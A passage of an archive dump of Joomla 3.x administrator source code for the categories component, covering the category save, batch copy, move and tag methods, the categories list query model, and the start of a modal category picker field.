		if (file_exists($path))
		{
			$lang->load($component, JPATH_BASE, null, false, true);
			$lang->load($component, JPATH_BASE . '/components/' . $component, null, false, true);

			if (!$form->loadFile($path, false))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}
		}

		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/helpers/category.php");

		if (file_exists($path))
		{
			$cName = ucfirst($eName) . ucfirst($section) . 'HelperCategory';

			JLoader::register($cName, $path);

			if (class_exists($cName) && is_callable(array($cName, 'onPrepareForm')))
			{
				$lang->load($component, JPATH_BASE, null, false, false)
					|| $lang->load($component, JPATH_BASE . '/components/' . $component, null, false, false)
					|| $lang->load($component, JPATH_BASE, $lang->getDefault(), false, false)
					|| $lang->load($component, JPATH_BASE . '/components/' . $component, $lang->getDefault(), false, false);
				call_user_func_array(array($cName, 'onPrepareForm'), array(&$form));

				// Check for an error.
				if ($form instanceof Exception)
				{
					$this->setError($form->getMessage());

					return false;
				}
			}
		}

		// Set the access control rules field component value.
		$form->setFieldAttribute('rules', 'component', $component);
		$form->setFieldAttribute('rules', 'section', $name);

		// Association category items
		if ($this->getAssoc())
		{
			$languages = JLanguageHelper::getContentLanguages(false, true, null, 'ordering', 'asc');

			if (count($languages) > 1)
			{
				$addform = new SimpleXMLElement('<form />');
				$fields = $addform->addChild('fields');
				$fields->addAttribute('name', 'associations');
				$fieldset = $fields->addChild('fieldset');
				$fieldset->addAttribute('name', 'item_associations');

				foreach ($languages as $language)
				{
					$field = $fieldset->addChild('field');
					$field->addAttribute('name', $language->lang_code);
					$field->addAttribute('type', 'modal_category');
					$field->addAttribute('language', $language->lang_code);
					$field->addAttribute('label', $language->title);
					$field->addAttribute('translate_label', 'false');
					$field->addAttribute('extension', $extension);
					$field->addAttribute('select', 'true');
					$field->addAttribute('new', 'true');
					$field->addAttribute('edit', 'true');
					$field->addAttribute('clear', 'true');
					$field->addAttribute('propagate', 'true');
				}

				$form->load($addform, false);
			}
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$table      = $this->getTable();
		$input      = JFactory::getApplication()->input;
		$pk         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState($this->getName() . '.id');
		$isNew      = true;
		$context    = $this->option . '.' . $this->name;

		if (!empty($data['tags']) && $data['tags'][0] != '')
		{
			$table->newTags = $data['tags'];
		}

		// Include the plugins for the save events.
		JPluginHelper::importPlugin($this->events_map['save']);

		// Load the row if saving an existing category.
		if ($pk > 0)
		{
			$table->load($pk);
			$isNew = false;
		}

		// Set the new parent id if parent id not matched OR while New/Save as Copy .
		if ($table->parent_id != $data['parent_id'] || $data['id'] == 0)
		{
			$table->setLocation($data['parent_id'], 'last-child');
		}

		// Alter the title for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['title'] == $origTable->title)
			{
				list($title, $alias) = $this->generateNewTitle($data['parent_id'], $data['alias'], $data['title']);
				$data['title'] = $title;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['published'] = 0;
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Bind the rules.
		if (isset($data['rules']))
		{
			$rules = new JAccessRules($data['rules']);
			$table->setRules($rules);
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, $isNew, $data));

		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Store the data.
		if (!$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		$assoc = $this->getAssoc();

		if ($assoc)
		{
			// Adding self to the association
			$associations = isset($data['associations']) ? $data['associations'] : array();

			// Unset any invalid associations
			$associations = Joomla\Utilities\ArrayHelper::toInteger($associations);

			foreach ($associations as $tag => $id)
			{
				if (!$id)
				{
					unset($associations[$tag]);
				}
			}

			// Detecting all item menus
			$allLanguage = $table->language == '*';

			if ($allLanguage && !empty($associations))
			{
				JError::raiseNotice(403, JText::_('COM_CATEGORIES_ERROR_ALL_LANGUAGE_ASSOCIATED'));
			}

			// Get associationskey for edited item
			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('key'))
				->from($db->quoteName('#__associations'))
				->where($db->quoteName('context') . ' = ' . $db->quote($this->associationsContext))
				->where($db->quoteName('id') . ' = ' . (int) $table->id);
			$db->setQuery($query);
			$oldKey = $db->loadResult();

			// Deleting old associations for the associated items
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__associations'))
				->where($db->quoteName('context') . ' = ' . $db->quote($this->associationsContext));

			if ($associations)
			{
				$query->where('(' . $db->quoteName('id') . ' IN (' . implode(',', $associations) . ') OR '
					. $db->quoteName('key') . ' = ' . $db->quote($oldKey) . ')');
			}
			else
			{
				$query->where($db->quoteName('key') . ' = ' . $db->quote($oldKey));
			}

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			// Adding self to the association
			if (!$allLanguage)
			{
				$associations[$table->language] = (int) $table->id;
			}

			if (count($associations) > 1)
			{
				// Adding new association for these items
				$key = md5(json_encode($associations));
				$query->clear()
					->insert('#__associations');

				foreach ($associations as $id)
				{
					$query->values(((int) $id) . ',' . $db->quote($this->associationsContext) . ',' . $db->quote($key));
				}

				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}
		}

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array($context, &$table, $isNew, $data));

		// Rebuild the path for the category:
		if (!$table->rebuildPath($table->id))
		{
			$this->setError($table->getError());

			return false;
		}

		// Rebuild the paths of the category's children:
		if (!$table->rebuild($table->id, $table->lft, $table->level, $table->path))
		{
			$this->setError($table->getError());

			return false;
		}

		$this->setState($this->getName() . '.id', $table->id);

		if (Factory::getApplication()->input->get('task') == 'editAssociations')
		{
			return $this->redirectToAssociations($data);
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    $pks    A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish(&$pks, $value = 1)
	{
		if (parent::publish($pks, $value))
		{
			$dispatcher = JEventDispatcher::getInstance();
			$extension = JFactory::getApplication()->input->get('extension');

			// Include the content plugins for the change of category state event.
			JPluginHelper::importPlugin('content');

			// Trigger the onCategoryChangeState event.
			$dispatcher->trigger('onCategoryChangeState', array($extension, $pks, $value));

			return true;
		}
	}

	/**
	 * Method rebuild the entire nested set tree.
	 *
	 * @return  boolean  False on failure or error, true otherwise.
	 *
	 * @since   1.6
	 */
	public function rebuild()
	{
		// Get an instance of the table object.
		$table = $this->getTable();

		if (!$table->rebuild())
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to save the reordered nested set tree.
	 * First we save the new order values in the lft values of the changed ids.
	 * Then we invoke the table rebuild to implement the new ordering.
	 *
	 * @param   array    $idArray   An array of primary key ids.
	 * @param   integer  $lftArray  The lft value
	 *
	 * @return  boolean  False on failure or error, True otherwise
	 *
	 * @since   1.6
	 */
	public function saveorder($idArray = null, $lftArray = null)
	{
		// Get an instance of the table object.
		$table = $this->getTable();

		if (!$table->saveorder($idArray, $lftArray))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch tag a list of categories.
	 *
	 * @param   integer  $value     The value of the new tag.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean true if successful; false otherwise.
	 */
	protected function batchTag($value, $pks, $contexts)
	{
		// Set the variables
		$user = JFactory::getUser();
		$table = $this->getTable();

		foreach ($pks as $pk)
		{
			if ($user->authorise('core.edit', $contexts[$pk]))
			{
				$table->reset();
				$table->load($pk);
				$tags = array($value);

				/** @var  JTableObserverTags  $tagsObserver */
				$tagsObserver = $table->getObserverOfClass('JTableObserverTags');
				$result = $tagsObserver->setNewTags($tags, false);

				if (!$result)
				{
					$this->setError($table->getError());

					return false;
				}
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch flip category ordering.
	 *
	 * @param   integer  $value     The new category.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed    An array of new IDs on success, boolean false on failure.
	 *
	 * @since   3.6.3
	 */
	protected function batchFlipordering($value, $pks, $contexts)
	{
		$successful = array();

		$db = $this->getDbo();
		$query = $db->getQuery(true);

		/**
		 * For each category get the max ordering value
		 * Re-order with max - ordering
		 */
		foreach ($pks as $id)
		{
			$query->select('MAX(ordering)')
				->from('#__content')
				->where($db->qn('catid') . ' = ' . $db->q($id));

			$db->setQuery($query);

			$max = (int) $db->loadresult();
			$max++;

			$query->clear();

			$query->update('#__content')
				->set($db->qn('ordering') . ' = ' . $max . ' - ' . $db->qn('ordering'))
				->where($db->qn('catid') . ' = ' . $db->q($id));

			$db->setQuery($query);

			if ($db->execute())
			{
				$successful[] = $id;
			}
		}

		return empty($successful) ? false : $successful;
	}

	/**
	 * Batch copy categories to a new category.
	 *
	 * @param   integer  $value     The new category.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed    An array of new IDs on success, boolean false on failure.
	 *
	 * @since   1.6
	 */
	protected function batchCopy($value, $pks, $contexts)
	{
		$type = new JUcmType;
		$this->type = $type->getTypeByAlias($this->typeAlias);

		// $value comes as {parent_id}.{extension}
		$parts = explode('.', $value);
		$parentId = (int) ArrayHelper::getValue($parts, 0, 1);

		$db = $this->getDbo();
		$extension = JFactory::getApplication()->input->get('extension', '', 'word');
		$newIds = array();

		// Check that the parent exists
		if ($parentId)
		{
			if (!$this->table->load($parentId))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Non-fatal error
					$this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND'));
					$parentId = 0;
				}
			}

			// Check that user has create permission for parent category
			if ($parentId == $this->table->getRootId())
			{
				$canCreate = $this->user->authorise('core.create', $extension);
			}
			else
			{
				$canCreate = $this->user->authorise('core.create', $extension . '.category.' . $parentId);
			}

			if (!$canCreate)
			{
				// Error since user cannot create in parent category
				$this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE'));

				return false;
			}
		}

		// If the parent is 0, set it to the ID of the root item in the tree
		if (empty($parentId))
		{
			if (!$parentId = $this->table->getRootId())
			{
				$this->setError($db->getErrorMsg());

				return false;
			}
			// Make sure we can create in root
			elseif (!$this->user->authorise('core.create', $extension))
			{
				$this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE'));

				return false;
			}
		}

		// We need to log the parent ID
		$parents = array();

		// Calculate the emergency stop count as a precaution against a runaway loop bug
		$query = $db->getQuery(true)
			->select('COUNT(id)')
			->from($db->quoteName('#__categories'));
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Parent exists so let's proceed
		while (!empty($pks) && $count > 0)
		{
			// Pop the first id off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk));
					continue;
				}
			}

			// Copy is a bit tricky, because we also need to copy the children
			$query->clear()
				->select('id')
				->from($db->quoteName('#__categories'))
				->where('lft > ' . (int) $this->table->lft)
				->where('rgt < ' . (int) $this->table->rgt);
			$db->setQuery($query);
			$childIds = $db->loadColumn();

			// Add child ID's to the array only if they aren't already there.
			foreach ($childIds as $childId)
			{
				if (!in_array($childId, $pks))
				{
					$pks[] = $childId;
				}
			}

			// Make a copy of the old ID, Parent ID and Asset ID
			$oldId       = $this->table->id;
			$oldParentId = $this->table->parent_id;
			$oldAssetId  = $this->table->asset_id;

			// Reset the id because we are making a copy.
			$this->table->id = 0;

			// If we a copying children, the Old ID will turn up in the parents list
			// otherwise it's a new top level item
			$this->table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId;

			// Set the new location in the tree for the node.
			$this->table->setLocation($this->table->parent_id, 'last-child');

			// @TODO: Deal with ordering?
			// $this->table->ordering = 1;
			$this->table->level = null;
			$this->table->asset_id = null;
			$this->table->lft = null;
			$this->table->rgt = null;

			// Alter the title & alias
			list($title, $alias) = $this->generateNewTitle($this->table->parent_id, $this->table->alias, $this->table->title);
			$this->table->title  = $title;
			$this->table->alias  = $alias;

			// Unpublish because we are making a copy
			$this->table->published = 0;

			$this->createTagsHelper($this->tagsObserver, $this->type, $pk, $this->typeAlias, $this->table);

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;

			// Copy rules
			$query->clear()
				->update($db->quoteName('#__assets', 't'))
				->join('INNER', $db->quoteName('#__assets', 's') .
					' ON ' . $db->quoteName('s.id') . ' = ' . $oldAssetId
				)
				->set($db->quoteName('t.rules') . ' = ' . $db->quoteName('s.rules'))
				->where($db->quoteName('t.id') . ' = ' . $this->table->asset_id);
			$db->setQuery($query)->execute();

			// Now we log the old 'parent' to the new 'parent'
			$parents[$oldId] = $this->table->id;
			$count--;
		}

		// Rebuild the hierarchy.
		if (!$this->table->rebuild())
		{
			$this->setError($this->table->getError());

			return false;
		}

		// Rebuild the tree path.
		if (!$this->table->rebuildPath($this->table->id))
		{
			$this->setError($this->table->getError());

			return false;
		}

		return $newIds;
	}

	/**
	 * Batch move categories to a new category.
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	protected function batchMove($value, $pks, $contexts)
	{
		$parentId = (int) $value;
		$type = new JUcmType;
		$this->type = $type->getTypeByAlias($this->typeAlias);

		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$extension = JFactory::getApplication()->input->get('extension', '', 'word');

		// Check that the parent exists.
		if ($parentId)
		{
			if (!$this->table->load($parentId))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error.
					$this->setError($error);

					return false;
				}
				else
				{
					// Non-fatal error.
					$this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND'));
					$parentId = 0;
				}
			}

			// Check that user has create permission for parent category.
			if ($parentId == $this->table->getRootId())
			{
				$canCreate = $this->user->authorise('core.create', $extension);
			}
			else
			{
				$canCreate = $this->user->authorise('core.create', $extension . '.category.' . $parentId);
			}

			if (!$canCreate)
			{
				// Error since user cannot create in parent category
				$this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE'));

				return false;
			}

			// Check that user has edit permission for every category being moved
			// Note that the entire batch operation fails if any category lacks edit permission
			foreach ($pks as $pk)
			{
				if (!$this->user->authorise('core.edit', $extension . '.category.' . $pk))
				{
					// Error since user cannot edit this category
					$this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_EDIT'));

					return false;
				}
			}
		}

		// We are going to store all the children and just move the category
		$children = array();

		// Parent exists so let's proceed
		foreach ($pks as $pk)
		{
			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk));
					continue;
				}
			}

			// Set the new location in the tree for the node.
			$this->table->setLocation($parentId, 'last-child');

			// Check if we are moving to a different parent
			if ($parentId != $this->table->parent_id)
			{
				// Add the child node ids to the children array.
				$query->clear()
					->select('id')
					->from($db->quoteName('#__categories'))
					->where($db->quoteName('lft') . ' BETWEEN ' . (int) $this->table->lft . ' AND ' . (int) $this->table->rgt);
				$db->setQuery($query);

				try
				{
					$children = array_merge($children, (array) $db->loadColumn());
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}

			$this->createTagsHelper($this->tagsObserver, $this->type, $pk, $this->typeAlias, $this->table);

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Rebuild the tree path.
			if (!$this->table->rebuildPath())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Process the child rows
		if (!empty($children))
		{
			// Remove any duplicates and sanitize ids.
			$children = array_unique($children);
			$children = ArrayHelper::toInteger($children);
		}

		return true;
	}

	/**
	 * Custom clean the cache of com_content and content modules
	 *
	 * @param   string   $group     Cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		$extension = JFactory::getApplication()->input->get('extension');

		switch ($extension)
		{
			case 'com_content':
				parent::cleanCache('com_content');
				parent::cleanCache('mod_articles_archive');
				parent::cleanCache('mod_articles_categories');
				parent::cleanCache('mod_articles_category');
				parent::cleanCache('mod_articles_latest');
				parent::cleanCache('mod_articles_news');
				parent::cleanCache('mod_articles_popular');
				break;
			default:
				parent::cleanCache($extension);
				break;
		}
	}

	/**
	 * Method to change the title & alias.
	 *
	 * @param   integer  $parentId  The id of the parent.
	 * @param   string   $alias     The alias.
	 * @param   string   $title     The title.
	 *
	 * @return  array    Contains the modified title and alias.
	 *
	 * @since   1.7
	 */
	protected function generateNewTitle($parentId, $alias, $title)
	{
		// Alter the title & alias
		$table = $this->getTable();

		while ($table->load(array('alias' => $alias, 'parent_id' => $parentId)))
		{
			$title = StringHelper::increment($title);
			$alias = StringHelper::increment($alias, 'dash');
		}

		return array($title, $alias);
	}

	/**
	 * Method to determine if a category association is available.
	 *
	 * @return  boolean True if a category association is available; false otherwise.
	 */
	public function getAssoc()
	{
		if (!is_null($this->hasAssociation))
		{
			return $this->hasAssociation;
		}

		$extension = $this->getState('category.extension');

		$this->hasAssociation = JLanguageAssociations::isEnabled();
		$extension = explode('.', $extension);
		$component = array_shift($extension);
		$cname = str_replace('com_', '', $component);

		if (!$this->hasAssociation || !$component || !$cname)
		{
			$this->hasAssociation = false;
		}
		else
		{
			$hname = $cname . 'HelperAssociation';
			JLoader::register($hname, JPATH_SITE . '/components/' . $component . '/helpers/association.php');

			$this->hasAssociation = class_exists($hname) && !empty($hname::$category_association);
		}

		return $this->hasAssociation;
	}
}
com_categories/models/categories.php000060400000025240152455305310013652 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Categories Component Categories Model
 *
 * @since  1.6
 */
class CategoriesModelCategories extends JModelList
{
	/**
	 * Does an association exist? Caches the result of getAssoc().
	 *
	 * @var   boolean|null
	 * @since 3.10.4
	 */
	private $hasAssociation;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'language', 'a.language', 'language_title',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'created_time', 'a.created_time',
				'created_user_id', 'a.created_user_id',
				'lft', 'a.lft',
				'rgt', 'a.rgt',
				'level', 'a.level',
				'path', 'a.path',
				'tag',
			);
		}

		if (JLanguageAssociations::isEnabled())
		{
			$config['filter_fields'][] = 'association';
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		$extension = $app->getUserStateFromRequest($this->context . '.filter.extension', 'extension', 'com_content', 'cmd');

		$this->setState('filter.extension', $extension);
		$parts = explode('.', $extension);

		// Extract the component name
		$this->setState('filter.component', $parts[0]);

		// Extract the optional section name
		$this->setState('filter.section', (count($parts) > 1) ? $parts[1] : null);

		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.search', 'filter_search', '', 'string'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd'));
		$this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '', 'string'));
		$this->setState('filter.tag', $this->getUserStateFromRequest($this->context . '.filter.tag', 'filter_tag', '', 'string'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'string'));

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language.
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.extension');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . $this->getState('filter.level');
		$id .= ':' . $this->getState('filter.tag');

		return parent::getStoreId($id);
	}

	/**
	 * Method to get a database query to list categories.
	 *
	 * @return  JDatabaseQuery object.
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.title, a.alias, a.note, a.published, a.access' .
				', a.checked_out, a.checked_out_time, a.created_user_id' .
				', a.path, a.parent_id, a.level, a.lft, a.rgt' .
				', a.language'
			)
		);
		$query->from('#__categories AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_user_id');

		// Join over the associations.
		$this->hasAssociation = $this->getAssoc();

		if ($this->hasAssociation)
		{
			$query->select('COUNT(asso2.id)>1 as association')
				->join('LEFT', '#__associations AS asso ON asso.id = a.id AND asso.context=' . $db->quote('com_categories.item'))
				->join('LEFT', '#__associations AS asso2 ON asso2.key = asso.key')
				->group('a.id, l.title, uc.name, ag.title, ua.name');
		}

		// Filter by extension
		if ($extension = $this->getState('filter.extension'))
		{
			$query->where('a.extension = ' . $db->quote($extension));
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where('a.level <= ' . (int) $level);
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where('a.access = ' . (int) $access);
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published IN (0, 1))');
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('a.language = ' . $db->quote($language));
		}

		// Filter by a single tag.
		$tagId = $this->getState('filter.tag');

		if (is_numeric($tagId))
		{
			$query->where($db->quoteName('tagmap.tag_id') . ' = ' . (int) $tagId)
				->join(
					'LEFT', $db->quoteName('#__contentitem_tag_map', 'tagmap')
					. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
					. ' AND ' . $db->quoteName('tagmap.type_alias') . ' = ' . $db->quote($extension . '.category')
				);
		}

		// Add the list ordering clause
		$listOrdering = $this->getState('list.ordering', 'a.lft');
		$listDirn = $db->escape($this->getState('list.direction', 'ASC'));

		if ($listOrdering == 'a.access')
		{
			$query->order('a.access ' . $listDirn . ', a.lft ' . $listDirn);
		}
		else
		{
			$query->order($db->escape($listOrdering) . ' ' . $listDirn);
		}

		// Group by on Categories for JOIN with component tables to count items
		$query->group('a.id,
				a.title,
				a.alias,
				a.note,
				a.published,
				a.access,
				a.checked_out,
				a.checked_out_time,
				a.created_user_id,
				a.path,
				a.parent_id,
				a.level,
				a.lft,
				a.rgt,
				a.language,
				l.title,
				l.image,
				uc.name,
				ag.title,
				ua.name'
		);

		return $query;
	}

	/**
	 * Method to determine if an association exists
	 *
	 * @return  boolean  True if the association exists
	 *
	 * @since   3.0
	 */
	public function getAssoc()
	{
		if (!is_null($this->hasAssociation))
		{
			return $this->hasAssociation;
		}

		$extension = $this->getState('filter.extension');

		$this->hasAssociation = JLanguageAssociations::isEnabled();
		$extension = explode('.', $extension);
		$component = array_shift($extension);
		$cname = str_replace('com_', '', $component);

		if (!$this->hasAssociation || !$component || !$cname)
		{
			$this->hasAssociation = false;
		}
		else
		{
			$hname = $cname . 'HelperAssociation';
			JLoader::register($hname, JPATH_SITE . '/components/' . $component . '/helpers/association.php');

			$this->hasAssociation = class_exists($hname) && !empty($hname::$category_association);
		}

		return $this->hasAssociation;
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.0.1
	 */
	public function getItems()
	{
		$items = parent::getItems();

		if ($items != false)
		{
			$extension = $this->getState('filter.extension');

			$this->countItems($items, $extension);
		}

		return $items;
	}

	/**
	 * Method to load the countItems method from the extensions
	 *
	 * @param   stdClass[]  $items      The category items
	 * @param   string      $extension  The category extension
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function countItems(&$items, $extension)
	{
		$parts = explode('.', $extension, 2);
		$component = $parts[0];
		$section = null;

		if (count($parts) > 1)
		{
			$section = $parts[1];
		}

		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$file = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (file_exists($file))
		{
			$prefix = ucfirst($eName);
			$cName = $prefix . 'Helper';

			JLoader::register($cName, $file);

			if (class_exists($cName) && is_callable(array($cName, 'countItems')))
			{
				$cName::countItems($items, $section);
			}
		}
	}
}
com_categories/models/fields/modal/category.php000060400000023564152455305310015713 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * Supports a modal category picker.
 *
 * @since  3.1
 */
class JFormFieldModal_Category extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   1.6
	 */
	protected $type = 'Modal_Category';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		if ($this->element['extension'])
		{
			$extension = (string) $this->element['extension'];
		}
		else
		{
			$extension = (string) JFactory::getApplication()->input->get('extension', 'com_content');
		}

		$allowNew       = ((string) $this->element['new'] == 'true');
		$allowEdit      = ((string) $this->element['edit'] == 'true');
		$allowClear     = ((string) $this->element['clear'] != 'false');
		$allowSelect    = ((string) $this->element['select'] != 'false');
